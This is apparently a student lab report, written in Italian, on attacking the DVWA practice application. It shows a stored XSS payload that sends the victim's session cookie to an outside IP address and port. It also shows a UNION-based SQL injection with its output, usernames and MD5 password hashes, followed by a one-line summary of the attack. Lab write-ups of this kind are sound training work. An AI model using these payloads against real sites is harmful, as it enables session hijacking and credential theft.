

Progetto S6L5

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Vulnerability: Stored Cross Site Scripting (XSS)

Name *

msg2

Message *

<script>window.location="http://192.168.1.40:12345/?"+document.cookie</script>

Sign Guestbook

Name: test

Message: This is a test comment.

More info

<http://ha.ckers.org/xss.html>
http://en.wikipedia.org/wiki/Cross-site_scripting
<http://www.cgisecurity.com/xss-faq.html>

Submit

```
ID: 1' UNION SELECT user, password FROM users#
First name: admin
Surname: admin

ID: 1' UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT user, password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT user, password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT user, password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT user, password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```

Tramite le vulnerabilità xss reflected e sql injection ho recuperato i cookie di sessione attraverso uno script, successivamente ho recuperato le password degli utenti presenti sul DB (sfruttando la SQLi).